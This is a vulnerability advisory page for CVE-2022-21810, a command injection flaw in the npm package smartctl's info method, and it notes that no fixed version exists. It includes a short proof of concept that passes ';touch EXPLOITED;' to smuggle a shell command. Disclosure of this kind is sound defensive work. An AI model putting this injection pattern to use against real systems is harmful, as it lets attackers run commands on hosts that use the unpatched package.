Security
Headlines
HeadlinesLatestCVEs

Headline

CVE-2022-21810: Snyk Vulnerability Database | Snyk

All versions of the package smartctl are vulnerable to Command Injection via the info method due to improper input sanitization.

CVE
#vulnerability#js

**Command Injection Affecting smartctl package, versions *******

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

  • Snyk ID SNYK-JS-SMARTCTL-3175613
  • published 23 Jan 2023
  • disclosed 19 Dec 2022
  • credit Junmin Zhu at SJTU, JHU System Security Lab

How to fix?

There is no fixed version for smartctl.

Overview

Affected versions of this package are vulnerable to Command Injection via the info method due to improper input sanitization.

PoC

const smartctl = require('smartctl');
smartctl.info(';touch EXPLOITED;', function(){});

Related news

GHSA-69f2-4375-qv9h: Command injection in smartctl

All versions of the package smartctl are vulnerable to Command Injection via the info method due to improper input sanitization.

CVE: Latest News

CVE-2023-50976: Transactions API Authorization by oleiman · Pull Request #14969 · redpanda-data/redpanda
CVE-2023-6905
CVE-2023-6903
CVE-2023-6904
CVE-2023-3907